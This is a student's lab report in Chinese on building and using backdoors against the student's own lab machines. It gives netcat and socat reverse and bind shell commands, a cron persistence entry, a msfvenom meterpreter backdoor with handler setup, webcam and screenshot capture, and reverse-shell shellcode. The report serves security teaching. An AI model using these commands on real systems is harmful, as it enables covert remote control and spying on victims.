20181328祝维卿——Exp2后门原理与实践

一、实验内容:

(1)使用netcat获取主机操作Shell,cron启动 

(2)使用socat获取主机操作Shell, 任务计划启动 

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

二、报告要求:

(1) 报告整体观感 0.5分
     1.1报告格式范围,版面整洁 加0.5。
     1.2报告排版混乱,加0分。

(2) 文字表述 0.5 分
    2.1报告文字内容全面,表述清晰准确 加0.5分。
    2.2报告表述不清或文字有明显抄袭可能0分。

三、准备知识:

(1)netcat基础知识掌握:

  • netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。
假设[A(172.31.100.7) B(172.31.100.23)]
文件传输: Server $nc
-l 1567 < file.txt Client $nc -n 172.31.100.7 1567 > file.txt 打开一个shell: Server $nc -l 1567 -e /bin/bash -i Client $nc 172.31.100.7 1567 反向shell: Server $nc -l 1567 Client $nc 172.31.100.7 1567 -e /bin/bash

(2)查看主机IP和虚拟机IP:

  • 通过主机和虚拟机两者的IP地址来链接

(主机地址为:172.30.5.246)

(kali地址为:192.168.19.132)

(3)简单测试连接:

 (windows下获得Linux的shell)

(linux下获得Windows的shell)

四、实验步骤:

1、使用netcat获取主机操作Shell,cron启动

  • windows使用ncat.exe -l -p 1328监听1328端口
  • crontab指令增加一条定时任务,-e表示编辑。在最后一行添加

 time * * * * /bin/netcat 192.168.1.138 1217 -e /bin/sh每个时间段的第xx分钟反向连接Windows主机的1217端口. 

  • :wq保存退出配置即生效,可通过crontab -l查看

  • 在系统时间20:39时,就发现获得kali shell。可以使用ls查看。

2使用socat获取主机操作Shell, 任务计划启动

  • win10系统中找到左下角的windows标志打开任务计划程序。

 

  •  填写任务名称,创建触发器,设置配置,然后开始任务

(触发器设置为合适时间触发一次)

(添加参数为:tcp-listen:1328 exec:cmd.exe,pty,stderr创建完成之后,点击确定。)

  • 到设定时间之后,指令开始执行。在kali中输入

 socat - tcp:172.30.5.246:1328(-代表标准的输入输出,第二个流连接到Windows主机的1217端口,IP为windows的IP),成功获得cmd shell 

3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.132 LPORT=1328 -f exe > 20181328_backdoor.exe(IP为kali的IP)生成后门程序20181328_backdoor.exe
(-f 生成文件的类型,-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode,> 输出到哪个文件,LHOST 是反弹回连的IP,LPORT 是回连的端口)

  • 在Windows中使用

 ncat.exe -lv 1328 > 20181328_backdoor.exe 

  • 获得主机shell 

4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 在linux中另外打开一个终端,msfconsole进入控制台
  • 输入use exploit/multi/handler使用监听模块,设置payload
  • 使用和生成后门程序时相同的payload:set payload windows/meterpreter/reverse_tcp
  • set LHOST 192.168.19.132此处为kali的IP(和生成后门程序时指定的IP相同)
  • 端口号也相同:set LPORT 1217
  • 设置完成后,exploit开始监听

  • 获取摄像头拍照:webcam_snap
  • 截屏:screenshot

5、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 该部分实验与实验一重复,直接去实验一文件夹做实验,不用重新找地址。
  • 参考网上找到对应shellcode
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
  • 打开另外一个终端
启动msfconsole
use exploit/multi/handler     //用于设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1              //设置IP为回环地址
set LPORT 4444        //根据代码设置端口
exploit   //设置完成开始监听
  • 注入攻击,获得shell

五、实验总结

结合老师的视频还算快的完成了这次实验,参考了许多学长学姐的博客,收获很大,实验中最需要解决的问题就是要把防火墙关闭,其他还挺简单的。在设置时间的时候一定要选择较为合适的时间,使用完后将测试任务关闭。

问题一:例举你能想到的一个后门进入到你系统中的可能方式?

插入带有后门软件的可移动设备。

问题二:例举你知道的后门如何启动起来(win及linux)的方式?

启动了带有捆绑恶意程序的软件。

问题三:Meterpreter有哪些给你映像深刻的功能?

对音频进行录制,便于攻击者监听。

问题四:如何发现自己有系统有没有被安装后门?

经常使用杀毒软件对计算机进行体检,对不安全软件限制权限。

原文地址:https://www.cnblogs.com/1005zwq/p/14584971.html